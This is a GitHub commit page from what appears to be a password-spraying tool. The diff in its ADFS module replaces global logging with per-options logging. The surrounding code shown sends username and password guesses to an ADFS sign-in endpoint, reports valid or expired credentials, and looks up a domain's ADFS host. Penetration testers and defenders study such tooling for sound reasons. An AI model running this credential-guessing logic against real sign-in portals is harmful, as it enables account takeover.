Skip to content

Commit

Permalink
Use log from options
Browse files Browse the repository at this point in the history
  • Loading branch information
nodauf committed Jan 25, 2022
1 parent 5239c1c commit 4e58daa
Show file tree
Hide file tree
Showing 2 changed files with 11 additions and 11 deletions.
2 changes: 1 addition & 1 deletion src/modules/adfs/brute.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ func CheckTarget(optionsInterface *interface{}) {
log.Error("The ADFS URL was not found")
return
}
log.Verbose("An ADFS instance has been found on " + options.Target)
options.Log.Verbose("An ADFS instance has been found on " + options.Target)
}
}

Expand Down
20 changes: 10 additions & 10 deletions src/modules/adfs/utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ var ADFS_URL = "https://%s/adfs/ls/idpinitiatedsignon.aspx?client-request-id=%s&

func (options *Options) brute(username, password string) bool {
if len(strings.Split(username, "\\")) == 1 && len(strings.Split(username, "@")) == 1 {
log.Error("Only email format or Domain\\user are supported, skipping " + username)
options.Log.Error("Only email format or Domain\\user are supported, skipping " + username)
return false
}
uuid, _ := utils.NewUUID()
Expand All @@ -47,7 +47,7 @@ func (options *Options) brute(username, password string) bool {
req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
resp, err := client.Do(req)
if err != nil {
log.Fatal("Error while sending the request: " + err.Error())
options.Log.Fatal("Error while sending the request: " + err.Error())
}

// Authenticate
Expand All @@ -64,18 +64,18 @@ func (options *Options) brute(username, password string) bool {
resp, err = client.Do(req)
body, _ := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal("Error while sending the request: " + err.Error())
options.Log.Fatal("Error while sending the request: " + err.Error())
}
log.Debug("Status code: " + strconv.Itoa(resp.StatusCode))
options.Log.Debug("Status code: " + strconv.Itoa(resp.StatusCode))
// Parse the response to know if the password match
if resp.StatusCode == 302 {
log.Success(username + " and " + password + " matched")
options.Log.Success(username + " and " + password + " matched")
return true
} else if strings.Contains(string(body), "Your password has expired") {
log.Success(username + " and " + password + " matched but the password is expired")
options.Log.Success(username + " and " + password + " matched but the password is expired")
return true
} else {
log.Fail(username + " and " + password + " does not matched")
options.Log.Fail(username + " and " + password + " does not matched")
return false
}

Expand All @@ -87,17 +87,17 @@ func (options *Options) findTarget(domain string) string {
url := fmt.Sprintf(FIND_ADFS_URL, domain)
body, _, err := utils.GetBodyInWebsite(url, options.Proxy, nil)
if err != nil {
log.Error(err.Error())
options.Log.Error(err.Error())
return ""
}
// Parse the response
var userRealmResponse userRealm
json.Unmarshal([]byte(body), &userRealmResponse)
if userRealmResponse.NameSpaceType == "Unknown" {
log.Error("Tenant " + domain + " not found")
options.Log.Error("Tenant " + domain + " not found")
return ""
} else if userRealmResponse.NameSpaceType == "Managed" {
log.Error("Not ADFS found for " + domain)
options.Log.Error("Not ADFS found for " + domain)
return ""
}
target = strings.Split(userRealmResponse.AuthURL, "/")[2]
Expand Down

0 comments on commit 4e58daa

Please # to comment.